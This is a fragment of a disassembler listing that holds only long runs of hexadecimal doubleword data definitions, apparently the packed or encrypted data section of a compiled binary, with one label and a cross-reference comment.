60C0A621h, 132B07D7h, 0F08DFE63h, 0BE26C68h dd 40A30C01h, 0BB1B37AFh, 78AEF820h, 817A0039h, 5B6268A5h dd 7601F2F7h, 183A6967h, 31879FB2h, 0C040EA8Ch, 1E3B61DAh dd 82B6953Ah, 9F5686E7h, 7C54E3h, 66089676h, 4F0B7798h dd 626DD2h, 0D953AC0Ch, 0E8910FC5h, 94631A9Fh, 87D5AD28h dd 47BDF0F4h, 55002699h, 0D1A1B0FDh, 84B298h, 0EB25D03Fh dd 885748EDh, 0BA798A0Eh, 2EC70060h, 25B7E440h, 380BC8DAh dd 69C23202h, 50030CE0h, 60003C9Ah, 2A0F3E22h, 3F31D8D2h dd 8D8FDFCEh, 8B01BE29h, 70D18656h, 0F600EA84h, 4E676DE2h dd 78E7EC8h, 0D51FCB88h, 0A2964319h, 0D5C03D8h, 0A93DE100h dd 601ED7DAh, 6D8A2239h, 0A0A82512h, 2B880491h, 0C43A3C28h dd 5D634E08h, 9770B480h, 30AB47E8h, 943116BBh, 5D06110Ah dd 6B3901C0h, 4E170008h, 92C626EDh, 20B8CCA3h, 0AB3CC800h dd 7E2C151Ch, 18A0044h, 0E794A903h, 72003665h, 286F661Eh dd 0C347D6A0h, 0E88C2D98h, 0BB2306D9h, 80BEBE58h, 2C385A14h dd 0F2EE51A0h, 0C83600BDh, 612EAD6Fh, 301297B6h, 0A891E7C4h dd 2841D0A0h, 0A88E585Dh, 1C8051C1h, 0D1AB876Bh, 522310A1h dd 2AE0BA1Ch, 2A006970h, 0A0F518D0h, 1298FEC1h, 88CB628Ah dd 0A3E0B958h, 7A93C24Ch, 0CE820800h, 37767552h, 6A3D00D6h dd 0D5E05E06h, 612C55D2h, 0E90B6359h, 5BFA8076h, 35824686h dd 8658A7C6h, 4B3B8079h, 2A7F0120h, 0D3510A4Ah, 89D9D8h dd 3AA2382h, 0FA1F3306h, 0BB019871h, 0D0CE933Ah, 26D030D3h dd 54380707h, 20A42D0Fh dd 80AE299Fh, 63835A1Dh, 82C77C87h, 0C3FDF900h, 71213C97h dd 40731392h, 5F4D22CCh, 0F400EF3Ah, 7268AD66h, 7E7C094h dd 3E74524Ah, 1AAB4363h, 5DFE65B8h, 0F2713400h, 9D45CB4Bh dd 31020025h, 4803E2DEh, 7B012D30h, 85A68204h, 368040B7h dd 2488995Ch, 3201C781h, 5E20ED7Bh, 0DA207F26h, 3845008Fh dd 0C3892EB4h, 30C1628Ch, 3E19A035h, 6786D4h, 0B6C1B3F3h dd 2CD955E7h, 5958BE30h, 3828EAAh, 0DD1B7E1Eh, 0F4B098A5h dd 7500DFB7h, 3C69013Ah, 39FF959h, 62BD6513h, 2CB01D11h dd 0BB00E166h, 0CED8F235h, 0F2B61CA1h, 0DC92003Eh, 230AAE71h dd 29030B28h, 0F31D50ABh, 9D1900B7h, 0CE846441h, 10009E3Ch dd 19E5148Ch, 6006BDDAh, 0A4DE501Dh, 0FB00AF3Bh, 6CC0BB2Ch dd 0E863C3h, 4AA855D0h, 176BA24Fh, 3D0249E4h, 5E2DDE5Ah dd 0E402406Ch, 3B2E021h, 62116347h, 0FA90DA6Fh dword_4E414C dd 4F00CD67h, 742D465Eh, 557CF5h, 0AB4B8038h, 5BB35B4h ; DATA XREF: ___:off_42DE44o dd 86595400h, 71034A11h, 7AB80B7Ch, 2600EA60h, 0E5C294B1h dd 3C9F8B00h, 0AFBC48CCh, 0F980C053h, 94B6F051h, 0C890AE07h dd 217FB7CAh, 1D3E0B29h, 98237260h, 7A9A3966h, 7B02897h dd 0E0DB5B1Fh, 87E997Ch, 1CE5EB3Ch, 4452D349h, 16A15400h dd 7906CFh, 0EA956B23h, 0E0944D39h, 0EFB9E302h, 0E0C64560h dd 0D785C4h, 59CC99B4h, 0A85441CEh, 0DB007F7Bh, 0EDCB1A03h dd 0AEC06F0h, 335CA7EBh, 0D0B504B8h, 0A2660416h, 304DC01Eh dd 43DF6A27h, 23336700h, 0A3DAF279h, 7BEE29h, 1B060885h dd 0A5AD84Ch, 8AFAF70Fh, 9701A009h, 1FF2BA67h, 0FC5D1C93h dd 0B833EA00h, 44E161Fh, 0C0D3D20Ch, 0C4D9D5h, 7621BBDCh dd 3C7FBDAFh, 0E8DAA800h, 0E35A4504h, 5B3B00CBh, 0AF069DA6h dd 0A100AD73h, 0B44960B8h, 0D62837h, 90DDF032h, 6E6A2FD7h dd 0C6003F71h, 3AA37C66h, 513D70h, 0E98C3142h, 0F50E08BEh dd 0A4006FEAh, 0F401A3C9h, 24C166Ch, 0E4AB28C5h, 4940FA1Ch dd 37008B7Bh, 4FD00329h, 0FCC6A8h, 4235F58h, 0C85634B3h dd 57A95001h, 3EED2553h, 0C54DC0h, 0AD74036Fh, 9844643Ch dd 0C71FD6B8h, 0ED40FC4Eh, 0A8B05E4h, 0A61900F3h, 13B01AE1h dd 0EF3E3C27h, 0D8710014h, 2D37A10Dh, 436505F9h, 5C693496h dd 8676C798h, 2FF2301Ah, 7D00427Bh, 0C7B19772h, 41396Dh dd 0AFC2A098h, 67F920E0h, 2E93D200h, 9546C7F2h, 9EBF00B1h dd 48758C24h, 4006A7Ch, 9B6E787Fh, 1282AB89h, 1AF84279h dd 9E60CA88h, 0BF01F17Ch, 95EAF984h, 11F89450h, 1F210713h dd 0D0967F8Bh, 0C8D8B56Ah, 44909D7Fh, 0FB915204h, 0CD3D007h dd 7C318026h, 48020046h, 0D3B5DD97h, 0AE05605Bh, 1EB06BB6h dd 1CF52F80h, 0EA9A0692h, 10BA9668h, 62DA7CA0h, 0B95C7A03h dd 0C84C3789h, 3D0CBBh, 5B15B4FDh, 0ED5EA24Bh, 43C830C3h dd 43D88AA1h, 0A9099830h, 5E940095h, 774738E1h, 8F00D4A3h dd 280AD903h, 959D75h, 4BA2B62Ch, 46AD8A8Dh, 73E3A501h dd 85D229A9h, 9D9FE0C7h, 71BD00A4h, 511B0A90h, 0BC00B3DAh dd 8858649Bh, 8C9DE3h, 19F5544Ah, 0D9E039A8h, 0D0006CECh dd 4B6ADDECh, 1CB2152Bh, 0C33CDBA6h, 0FB5778A5h, 89E9D7F0h dd 48269EF6h, 5C807CBEh, 0CFC98EA6h, 9F58025Ah, 78CAF8B5h dd 37BB8EC0h, 0BE000473h, 51BAD0D5h, 0B0A2FF6Bh, 0DFFD00C7h dd 314A1D12h, 7E01712Fh, 4E2936B2h, 0F4DC4727h, 4F04009Ah dd 0FC0AF88Bh, 0AD02218Ah, 6CE5E4D3h, 0A7FA8F1Ah, 0B6432646h dd 0BAEAD0D4h, 1C9A005Ah, 0B907F78Ch, 5400BD2Fh, 89D57443h dd 503B8104h, 7D4DBC1Fh, 49580018h, 63FA55D7h, 0A501BFC0h dd 35CF6BF7h, 9BE8D653h, 3E272FFh, 87D57549h, 7FE8E559h dd 742C9088h, 9100FCA3h, 7C6898AEh, 7EB40003h, 3B994A15h dd 0C101EF16h, 262CB3BAh, 0F450CA42h, 46D166h, 2A25E6BBh dd 5D702E53h, 44105201h, 0E1BD5929h, 30E5AE8h, 0C16D2578h dd 0E8F0EF67h, 15001DB0h, 1BEBB2D0h, 19588CEh, 6E5EDCE3h dd 35A29252h, 0E136F090h, 7F54E4Ch, 8D4DF34Fh, 0D214AF77h dd 2D9D7491h, 0E19B4D8h, 0C15EBA34h, 9340E687h, 0D1C3CEDBh dd 0D81A4BE1h, 50E49B4Dh, 64E89026h, 949A300h, 1CE22D96h dd 0C61A43B6h, 58F015B9h, 0F22001F0h, 0F1D26186h, 0D43A72B7h dd 64005EDAh, 0B5D9B44Ah, 0D25788h, 624B8B32h, 42AB4F18h dd 0AC064EF6h, 0C9E15823h, 8C570040h, 0F16999A2h, 81745A55h dd 23108900h, 42CC4936h, 15EE8DFh, 1DAF61DEh, 0D0E65421h dd 8C0044A5h, 45E4D6E1h, 1771708Bh, 832E3Ch, 0F6D1A64Eh dd 0F097DCCBh, 0F5B70034h, 0B3B01FFFh, 4500579Ah, 0B1D3682Bh dd 3F917C51h, 0F5A55Bh, 4DF6B4A4h, 0E40A796Bh, 0EAE2B100h dd 8005060Bh, 0CC540112h, 27CA281Ch, 466AD448h, 3942F60Bh dd 36F88755h, 0E8DE3543h, 0E97E16h, 78EDE8D4h, 7C20C4B4h dd 89B8170Fh, 8F007D4Ch, 1151373h, 0EED60038h, 0A70709F2h dd 11016A66h, 9CDDA4A3h, 0BEECB0FFh, 7993071Eh, 31612926h dd 0E9A45296h, 0A12BF05Ah, 0CB318C15h, 57EE00C8h, 12018B5Ch dd 481418F9h, 319D08E2h, 0B59068B8h, 23455C00h, 0B60D0C86h dd 0B9A60020h, 4D1703E8h, 0C5003B2Ah, 1D83CD32h, 0BA156693h dd 0B0410084h, 915EB616h, 8624D235h, 0A1804D9h, 887421h dd 0A85FB018h, 2EFBF59Fh, 3E412B00h, 3C569354h, 992D31BDh dd 0E401B889h, 2C007F6Ch, 0C1594C36h, 213DA4h, 8606580h dd 0CFB24EF4h, 7C170B0Ch, 0C7E0B6h, 0F70252C9h, 22B5AFB0h dd 0F4687FEEh, 0CE9980B0h, 0B51888B8h, 5E6811FAh, 4915CB0h dd 188DE105h, 0E41882ABh, 49013443h, 57F885C0h, 60066207h dd 0C1BC9F04h, 0E080E8C2h, 73FE0B32h, 53E4002Ah, 3DAAB513h dd 90C02DEFh, 1DA81220h, 0A8C4523Fh, 0B400C723h, 0B15E1216h dd 48808537h, 40C1188Ch, 1FE0F8BFh, 83C7975Ch, 0C84CC04Fh dd 3E4EF101h, 9CCEAABFh, 0A0C95AD4h, 8F4F98h, 10BC5E0Dh dd 0F113920Eh, 48C38500h, 1F995B4Bh, 0E63B1D0Bh, 1CE18044h dd 4DB4BC3Fh, 1107D2E8h, 5C181D66h, 75B00369h, 0E0C2C39Eh dd 0C43FDEF6h, 48D30C28h, 224A444Ch, 736210CAh, 84B0F640h dd 0C077E939h, 10DF447Eh, 88847444h, 2E0081D9h, 0EA3EC98h dd 50606Ah, 57DA6748h, 7B8D41Ah, 0A5795A00h, 70195CAFh dd 62E30078h, 3DBED997h, 203B946h, 0F54573E8h, 0BAB79048h dd 43F4CD8h, 0E4AEA900h, 0A67FE8BEh, 0D7147D00h, 2E15E288h dd 1B7A00DAh, 0E68C6E8Fh, 8707F95Ch, 12C089FAh, 0DD194730h dd 0ACB6009Bh, 62ED385Dh, 0A801266Bh, 0E8CC3D46h, 71E0F7BFh dd 0C9B50045h, 1F8D62E5h, 7200176Ch, 74944953h, 1E4BF93h dd 2E0387DCh, 30D1AAB8h, 9701FEC3h, 28664CF6h, 3DCC827Eh dd 0D4EEDEh, 18B7B017h, 0CEAEED22h, 0CF008CF6h, 0F4C697C8h dd 0F01C6C51h, 15421FD0h, 25001EDh, 0D0C596F0h, 0BC1CD80Ah dd 0C0408E88h, 381F497Dh, 8DD20023h, 0E9EB08CBh, 8975136Eh dd 0F56D0A00h, 39BCDDA6h, 39107A9h, 0DC4C8231h, 410DD470h dd 40239B05h, 0BF15ED8h, 97DB9C2Fh, 720B180h, 0C7008FEAh dd 0DC409DB2h, 0A15437D2h, 0B0C4D0F6h, 79AF1D53h, 96F30041h dd 0DA314775h, 0A74090Bh, 7A5300A7h, 1779449Eh, 1BB787Ch dd 91EB2BAEh, 0D5EFC34h, 0C70042F6h, 0A23E2085h, 1F5FC246h dd 0FE235B0Eh, 8D8F2500h, 9886B8B9h, 190FB607h, 809E60A4h dd 0FC110CB2h, 26990005h, 1652939h, 20008359h, 0EC027F77h dd 452D5Ch, 9A92197Ch, 80E39FB4h, 667B6300h, 0A230749h dd 78789FA4h, 5161BA00h, 0CFD7B810h, 0E760011h, 723CE5C6h dd 817CEB14h, 3B007090h, 88EFEE71h, 2C1C9F03h, 0C66D63h dd 0CD84C5D8h, 0F8008C36h, 8785A206h, 1E2576h, 0ED5EE91Ch dd 0BBE50AAFh, 0D67F6B00h, 0F69BE30Fh, 711CF879h, 407512A0h dd 46E0073Ah, 24D3D057h, 150062F9h, 7A260966h, 325571h dd 346830DFh, 88F01D9Ch, 80A2FC39h, 0DB802240h, 0E3D4D96h dd 0A9F389D2h, 0D40C5E60h, 0E7B1478h, 0A61B9B00h, 0E3E6294Bh dd 0E5750013h, 0E9190243h, 0C909ABAEh, 2858F7h, 0BA1A310h dd 1A7A00F0h, 0CC2E7CDh, 0DC2C7312h, 9200F49Ah, 5B2B6D07h dd 3FCC07AAh, 50392381h, 8724C229h, 22248A79h, 6C8410A2h dd 608015EFh, 9D4B56h dd 67F27C0Ah, 5A477F9Ah, 0F9EC40E7h, 12E0701Fh, 0E650E200h dd 6DC88196h, 6CAF001Bh, 5CBD8A49h, 0A21DD2CAh, 0BA00E264h dd 2D0886B0h, 0FB6700DAh, 3B6E4DA0h, 4D98E7F5h, 6337200h dd 0A86E2E1h, 0D4EAECh, 0A21ECA80h, 0A977F8B8h, 780030E8h dd 6E29DA01h, 1DAD62F3h, 40FD863Dh, 0E017E224h, 0C1B0133Fh dd 0A35D0814h, 470D80F4h, 1DC290B0h, 0DC6DC4h, 58A6B8E6h dd 0FF71343Fh, 0F8969230h, 7B025Dh, 0E9295310h, 0CC3705D1h dd 0E807E67Ch, 986F1C77h, 204AF070h, 9589008Fh, 1F3337D7h dd 8104A862h, 96AFA0EAh, 0F9468480h, 0C4482680h, 0C930084h dd 0FE9DE9E7h, 3A1D2603h, 9BE8EEA5h, 0C0F58AD7h, 2C65138h dd 0EC292E43h, 0D3C059FEh, 52247D62h, 1E00A09Eh, 4927CD2h dd 0BE133D40h, 0BB020A00h, 0E5D684F2h, 61153D00h, 5521D1DEh dd 0D8AA543Ch, 0F28000BAh, 0C223DBEBh, 0D70066A4h, 0DDAA7841h dd 0F95FD82h, 85682589h, 0B5CD09E0h, 11092BB9h, 2E16308Ah dd 4F3DC008h, 24404196h, 20CC52D7h, 0C21000E6h, 13FB77C7h dd 4A73597Dh, 8642B300h, 6AFFC8ACh, 2638023Bh, 0C06885F4h dd 84BA3060h, 0A1C92360h, 8716E5h, 3D11BC24h, 0AEEE425Eh dd 541A1300h, 8E79F40Bh, 73E30053h, 3775ABDDh, 0CF909289h dd 7E4F822Dh, 629900DCh, 0AB527C6Ah, 1EE4800h, 72467A17h dd 10A60009h, 3BAB6EBh, 4B004508h, 0AF4F27B8h, 0B0C25DAEh dd 7E941F1Ch, 43DB5E3Bh, 9687CE12h, 1CB099DBh, 1C9189E2h dd 905B8102h, 5D006105h, 0CD7BDC0h, 0C704B825h, 4E004FD1h dd 0EEA19633h, 0B5C963h, 0FB7DCEC4h, 5560AD18h, 0B102EC98h dd 0A8487E19h, 8024C050h, 76BA001Dh, 0F3667F81h, 0F100E30Ch dd 0F4DB532Dh, 0E09949h, 682CD465h, 3A6C3847h, 3D301B03h dd 88F36991h, 373CABh, 325C853Fh, 870AC038h, 5D23FB00h dd 0B0F84A82h, 8EC703ECh, 4994BFE7h, 664642E0h, 346EA500h dd 0A903F44Bh, 1CBD3DECh, 0D3807339h, 0E89C0690h, 9E01EED7h dd 0BB92C43Ch, 0E7208B98h, 0B613006Ch, 0D5C09129h, 731F96EAh dd 3380E067h, 0FC43CD89h, 950E30A1h, 1CE93811h, 0F80ED971h dd 604FB98Eh, 37E37C55h, 0FC21002Ah, 746BDA5h, 8162E4Eh dd 0A200A7D7h, 337AC636h, 745400B8h, 0B289117Ch, 9900CAC4h dd 0C0A5467Bh, 7FF008h, 0CE8E436Fh, 88BAD6D1h, 3F2A4807h dd 3CC15C79h, 0D30A8B7h, 545A0135h, 0E463DC90h, 0E349CC20h dd 0AAAC1F00h, 3B3D4B97h, 2ED8000Fh, 0C4455D0Ch, 95A0731Ah dd 0E600AC82h, 6ECD3475h, 70B8929h, 93C1F2C2h, 1BDA40AEh dd 0CE74BA59h, 0E5602700h, 0B561FBEDh, 6CEE00FEh, 74CC17F9h dd 0F601C437h, 6DC04A08h, 8ACC43D6h, 47341278h, 0B909002Eh dd 359DD25Bh, 0BFC37500h, 0D424AC99h, 12310265h, 84455C3Ah dd 80255B40h, 0BC19DEEAh, 0C186ADFh, 39A30D8h, 0E03E9CC9h dd 0C7DC5BC1h, 24FE901Ah, 607BC6Bh, 2CC035C3h, 0FC518133h dd 0FA53CFC0h, 3DBA00E0h, 423BD7Fh, 0C6008697h, 7010FCCFh dd 0B8A7CAh, 5FAB90DBh, 5D44D16Ah, 55CE780Bh, 25EE806Eh dd 0B8CF6C23h, 32600C47h, 2E582D86h, 52C5F200h, 8B4D38E9h dd 18854019h, 69367607h, 9AE17CCBh, 702167FDh, 0ABEE0h dd 5CD33435h, 0DA59100Dh, 0D488FC00h, 99889E8h, 4C2DF60Bh dd 0CC182A67h, 0FFC66807h, 832EBF00h, 0EE8BA956h, 5920960h dd 4C80046Ah, 9B145457h, 0DF6DC500h, 0F2D64A89h, 245D03CBh dd 0ABE565E9h, 0F0A98080h, 73918A1Fh, 5CBC3201h, 57EC35C1h dd 8F0C18BFh, 6A8DC11Dh, 768C8E0Fh, 6DA020B6h, 4645F9h dd 0BE93CD6Eh, 5D9EF194h, 3D4A4D07h, 0C330D0F5h, 0B60C46h dd 2C5F51CEh, 0B7F7D43Ah, 0FF60DB00h, 9181F147h, 76E70021h dd 4F1F283Fh, 0CD003C8Dh, 4A77F9D3h, 3B0575BBh, 0AE80A3D1h dd 0C0795349h, 910086CEh, 9C982A3Dh, 9559EAh, 211C3356h dd 11C2C039h, 0CDE91B00h, 0D7F0FA99h, 2DD438C5h, 0A280F53Dh dd 9A71EA72h, 8B7796ABh, 2580340Fh, 0CCD6C007h, 0CC838h dd 7968A240h, 0A4E5D292h, 7D8E5300h, 25AF01Fh, 0C3510C16h dd 4B11F4DFh, 4E5B8D02h, 40AB39F7h, 0E611B13Dh, 0C2091FFAh dd 479284h, 0BF21643Ch, 639C386h, 2C48E3h, 32093596h, 4FF8A8h dd 0F33A19AAh, 0A0A3625Ah, 0C2E61A01h, 6A817FBDh, 8E9BD0h dd 75B98C94h, 0DD46F367h, 9FE45500h, 0FFD76E9h, 37D00001h dd 0A0CDB3B5h, 0A2007897h, 3C7D8414h, 10507D2h, 0FDED501h dd 800E2F8Ch, 6ACDA530h, 9F68B5h, 0BA3CFD97h, 0AD8E7CF5h dd 801EBB0h, 210CF6D1h, 0CA40EEE1h, 7BEB049h, 0A1BB2883h dd 0DAAF2074h, 1A005355h, 0A3232B4Dh, 0CFABCh, 4C83FD66h dd 0DAC15E8h, 0DB7B1B00h, 91E6E99Eh, 0C25C3E87h, 30FC0487h dd 0F216309Bh, 701AF63h, 1AEA5DD6h, 41809EBCh, 6B7F1155h dd 0D9B0DFBDh, 184DEE30h, 7789230h, 0B2763328h, 91571064h dd 9E895F5h, 0BA42CF00h, 3552EEFh, 13B40012h, 0C3917240h dd 0E1006C4Ah, 20FC18CCh, 397929h, 27B3BFE4h, 4790ED87h dd 69356100h, 8CC9FBB2h, 30D7922h, 24654E17h, 0BBD3D041h dd 0C0C7EDF8h, 12E33000h, 1554769Fh, 39397F2Fh, 0B380097Fh dd 2AF5D61Bh, 1A05E52Dh, 0BEA4616Eh, 0B603BDC0h, 0EAA30011h dd 0CBB1FCC2h, 2F071621h, 1E1FA1DCh, 43B300AFh, 0D83B53h dd 9CBA2D06h, 0FA6D16F0h, 500056F8h, 6E94268Dh, 77B2A74Ah dd 0FF4B00A4h, 0BC8303C6h, 6C007337h, 7EB47940h, 0BA9C08h dd 6EFD8549h, 12F67CCFh, 5B181103h, 0E8C5CABEh, 3C51E1h dd 0B4467492h, 91FD6ACFh, 0E9C86300h, 42808BD7h, 0A1EB027Fh dd 414E393h, 0DE0E8068h, 71F83A00h, 62DD7A9Dh, 9F920EFAh dd 0A64039E1h, 0BEBF4EE8h, 4961A304h, 0B0D05E9Ah, 901B17h dd 21C4926Bh, 4DB2DD8h, 0C7573500h, 0A658CACEh, 0A0960009h dd 54E8BCF1h, 5C1DD142h, 1CC98311h, 799880CEh, 0F782F2h dd 3E3A8129h, 71EF340Dh, 788458h, 5DAB405Ch, 1C4105BBh dd 0C1DFB9B0h, 2BD16DF4h, 45237015h, 0D9BAF603h, 0D893FF2Ah dd 641736h, 38043A2Eh, 91DE8AF5h, 0CFFB0E03h, 0F086E56Dh dd 0C2706h, 399CBF7Ah, 5B0B14A7h, 0E851DB00h, 3BD8F437h dd 6BB009Ah, 0A7E51BCFh, 0E61D56A9h, 4D031CECh, 0F0FFD358h dd 0B40EF7h, 7FAA4562h, 0AF0A3869h, 26002276h, 0DB9A2C68h dd 1C488FF0h, 401F5A90h, 0BDE2B7CAh, 0D92CF505h, 4900C5A5h dd 0A1222192h, 0C5FA1420h, 805CCF4h, 915E25FCh, 0E477662Ch dd 0CCA29C04h, 5D2AAF60h, 76074F79h, 2CDB8C8h, 819D6820h dd 0CC7A0260h, 32D707ECh, 1FC0F062h, 273C4402h, 58351C2Ah dd 0D2311145h, 0FD69A000h, 183DC8h, 44CD2E6Ah, 8ED6965Ch dd 7B0C89C0h, 0F7DBCDDh, 78CB571Ch, 805E2A04h, 0A3187F18h dd 0D5DC901h, 1C06E180h, 0A72D1FCh, 5F01101Ah, 4B9885F4h dd 58C8411h, 93F08F96h, 7C883A8Ch, 95A3A493h, 452C6380h dd 3021391Ch, 0C6B8C700h, 0B261F2Fh, 0F251ED8h, 0E0363300h dd 0D27F60C8h, 0C8B1000h, 56B43CAh, 0B0D5F04Ch, 72450E8Ch dd 22E7035Dh, 0AD3C91BBh, 0FFA05792h, 798F870Bh, 0F18055E9h dd 0A697E0DAh, 8B9F711Dh, 0B0BBD940h, 98A123FFh, 0B1A30081h dd 817CCCAEh, 7008070h, 0E66C3FE4h, 3E2AEE03h, 6F837B0Bh dd 0D3ACC79h, 40B400E5h, 7C69272Dh, 0F3665309h, 8B38A0EFh dd 61A3A82Fh dd 8454A835h, 90BBF80Ah, 702DB8A1h, 4C7ABFD3h, 0FC73F100h dd 831E0A72h, 8F970085h, 7E0BE8F5h, 0A2F6B3F2h, 8BD8D705h dd 0FC2120C6h, 2A006203h, 76107E83h, 2B017212h, 0D5D2B641h dd 2890855Bh, 0C4000D58h, 0A3E8CFD7h, 195124C0h, 55600630h dd 82038027h, 835628DAh, 8186E801h, 0A4905046h, 22DD00D8h dd 44270F1Ah, 8000D4B1h, 0CD9DE4D3h, 1EF21D37h, 40B50D2Fh dd 0B1F5A95Dh, 92055951h, 4212BD86h, 0A8EC86h, 289ADEA4h dd 130378ADh, 0D23F4800h, 51058FE1h, 944A50B2h, 7D8001A9h dd 6C720DD0h, 3877FC88h, 0AB3D2A00h, 2C2D0B4Dh, 66F60E4Bh dd 7A00B80Dh, 2A8952DBh, 0AFFEAA00h, 7538878Eh, 0CFBE1944h dd 60A528B8h, 4F79F6FFh, 251A7100h, 42DED3D2h, 0AAE200CCh dd 16394B93h, 7F002741h, 761888D7h, 701565D4h, 0C7C601BDh dd 4AE179E5h, 0F927F0ACh, 445025E4h, 1C0B16E4h, 0A08350C9h dd 0F4A20E18h, 4155C42h, 39778401h, 0F4CDF925h, 0FE00991Eh dd 0D802163Ah, 0AE87994h, 3E2EC670h, 20C800BCh, 2D4F66FBh dd 0B21D409h, 7A108176h, 0C0401405h, 49EFE4C6h, 4600D0F3h dd 0ADCDAAE5h, 0D004A2Bh, 0D8B97304h, 728E7h, 58D8B65h dd 0F9866285h, 49FA7E04h, 0B4A4E64Dh, 9C7624DBh, 8C9301ECh dd 2C6DC93Ch, 6930043Ch, 80ECD8h, 0BEBDC6h, 0B38E86C5h dd 0FB6A20D3h, 338A202h, 822FFC61h, 4401B584h, 24E01C4h dd 6581F8D6h, 661EE0D9h, 27CB3Ah, 2D8407BAh, 0F7FE49Bh dd 9970EA7Dh, 263BA7C0h, 0CC01C444h, 824F030Ah, 0A17092C0h dd 34EC002Ah, 946569B7h, 230F3717h, 0BEF72DBEh, 29FA3380h dd 905220BAh, 1900034h, 99E4E6E8h, 0EC0F6DC8h, 6223A2E7h dd 8E3FAF6Ch, 7C1F20E0h, 935F10h, 65606987h, 0E2D3C8EDh dd 3B337814h, 0BE421DE5h, 729B1481h, 0DC2052ABh, 2A3011Bh dd 0EB29ACEh, 59982017h, 0A4A56000h, 0B58EE8B6h, 793A057Fh dd 0C0FC6CBDh, 328AE710h, 0ED4AE50Fh, 0C9F404Ch, 0BF5040h dd 8DC4BE16h, 0F04E355Eh, 67DC2400h, 56E028F9h, 39950174h dd 80B9FAFFh, 7CB048F2h, 21FDE81Fh, 74848B80h, 914A53h dd 201D052h, 0C0EC5D2Fh, 75446900h, 0FD4912A6h, 1CB68Dh dd 0F8E0112Dh, 7A000164h, 5E95B5EEh, 907D4Bh, 0BD24D9B3h dd 1F0759ACh, 0FEEF891Fh, 83706CC0h, 5D1E44h, 5153E936h dd 0BB8878A0h, 0DEE86F00h, 0E03F581h, 0EC3C00A7h, 0D00DFF89h dd 990061BDh, 8326CF05h, 1E9E86B3h, 806537D1h, 5B2E10EBh dd 5201F177h, 0EA46428Ah, 4864C2A1h, 70ED00E8h, 3F9F55CEh dd 3100DD76h, 3E5F8D6Eh, 0FC7942h, 0FD8AF813h, 0F295F63Ah dd 3CF16513h, 3C4D484Fh, 3B358900h, 24207EAh, 8D390484h dd 0C06B8774h, 0B60D81E0h, 0A4F29607h, 0E14E9F45h, 47C4AD48h dd 0E5424441h, 0A7F88BD5h, 2A6F3A8Ah, 947FB60Ch, 0CA607520h dd 0E4F5D710h, 0C521C058h, 0AD37C24Dh, 0EA0321F6h, 12520D93h dd 53780057h, 0A2452F47h, 2135E5ADh, 0D49320ECh, 0E9500F6Fh dd 968ADB75h, 7B8D0A0Ch, 0EBCE005Ch, 5B02592Ch, 38D884E9h dd 9832018Dh, 65009E04h, 33454DE6h, 0ADC7F90Ch, 707A852h dd 290FD674h, 2619A105h, 4DDC84Bh, 1F811100h, 52FFE468h dd 10563D9Dh, 0A00163Dh, 50FBA4F3h, 7D01E92Eh, 22BED5E3h dd 53D8782Bh, 0ED9C0065h, 469AA9D0h, 0EF00E9C6h, 77C970D4h dd 19DC785h, 33C55D12h, 0C8060774h, 65001976h, 31F6BAD3h dd 0A08187h, 0E389407Ch, 0D78B3CF9h, 80128A79h, 7F001723h dd 0DD92CD45h, 0E68EEA9Eh, 0D71D0314h, 0FD1AD4BBh, 0FF9458h dd 2F96937Bh, 5DB051h, 0A494033h, 0B252BB32h, 4400A176h dd 0EA87D9D4h, 8306AAh, 0E5F1235h, 8BCDD05Ah, 5AFA900h dd 2B44E716h, 0D1730EEFh, 0EA60B13Dh, 0FC193678h, 8C003276h dd 0BF3CDB71h, 2C40AF5h, 5C9D268Eh, 55C0AE8Bh, 4B05F6A7h dd 0B17C3E50h, 0E1CA2CC0h, 0E0F700B3h, 70393F29h, 9D91FBh dd 0D745E479h, 514C005Bh, 67438AC2h, 0C97469A0h, 47E33A00h dd 2F33F503h, 16230096h, 3964A5BFh, 0C8005D5Ah, 0EE32AB79h dd 3071F5h, 361BEF10h, 0CEC454D8h, 7843F203h, 0F0DDF187h dd 7E5B955Eh, 8EAD000Ch, 0E37FAF33h, 0F700B8D1h, 2E883A81h dd 0C4BD38h, 27E77DC7h, 0CB711A9h, 78473B31h, 29CCCC7Ch dd 6DC50055h, 0B2C9E8D4h, 0F818FE18h, 8A11AE45h, 63F0070h dd 12B6B0F6h, 0C607AD75h, 821A6BCAh, 97B26990h, 0BD361C9Bh dd 0EAAACC09h, 4200CC38h, 8E4CD4Dh, 1F2F84D5h, 1FFB95A7h dd 52E103F6h, 410BBADAh, 8C479957h, 3196A06h, 40689D16h dd 0D7B31A05h, 2C271EE8h, 341BE801h, 130CF179h, 0D433E0h dd 0EEA162F0h, 0E287EBDFh, 8DE7DB00h, 1348684Eh, 0AE3B1C4Ch dd 5D1400F8h, 0DA3E20Ch, 3A98F300h, 6E81509h, 5B1300C6h dd 0CE251864h, 530C17F8h, 0C8E771D4h, 8EDF00A6h, 0FF1CA3BEh dd 0DC0044A4h, 3B438DECh, 416454h, 0F6A086A6h, 0B3EF6AA1h dd 0D6898000h, 78324345h, 48076055h, 9FE8473Fh, 0F9A96800h dd 3275BDE9h, 83351D65h, 0CFC0C171h, 0D4C70EE2h, 0A2001FE4h dd 293080FCh, 4853DF5Eh, 0B6007C4Ch, 61B57C56h, 6C003989h dd 0E09A8216h, 55D98Eh, 0FE34910Ch, 0FBE6EF25h, 8F05231Ch dd 4D28C900h, 3CA8185Ah, 0EE0C027Eh, 1F98D20Ch, 4695F00h dd 72396E2Eh, 0E5EC3D8Fh, 0B891A19Ch, 0ABE0B000h, 0E606DB6h dd 0F8D87951h, 43003017h, 0CCCB0ABBh, 0D70F68h, 0FD7193CDh dd 6DFA581Eh, 2835DA00h, 9BF7F86h, 0A4E200E3h, 585CCE3Fh dd 7C713D85h, 0AC479800h, 0E674D6A5h, 712100B4h, 0B6CF914Dh dd 518D43Eh, 0C5A850EDh, 0D56F01F6h, 0B803112Fh, 0BDE2D412h dd 0D15D9228h, 23906E54h, 60007C75h, 2B8085ACh, 902495h dd 2EC47874h, 533C23DEh, 509B8800h, 287E4956h, 0F5893A36h dd 0A9DF2080h, 512C594Ch, 0F326E874h, 0E00280Fh, 321DC696h dd 55D0FFDFh, 9FD10383h, 92F9B5AFh, 1F91FFFBh, 2EFE70DCh dd 0A3EFA700h, 0F45DD061h, 6D410062h, 0ABBF4938h, 0B50081AAh dd 59F830E3h, 3C3DF6AFh, 9A830412h, 22A041FBh, 0D5DB5EF0h dd 55AC7D00h, 0BA6E637Bh, 40C363ECh, 0C690D233h, 1D012312h dd 3F39D3E4h, 55FCB94Ch, 0CA870718h, 678E98h, 0FF56B5F4h dd 0F3F16C0Eh, 0FE2C09Eh, 1832BA5Ah, 704F2E38h, 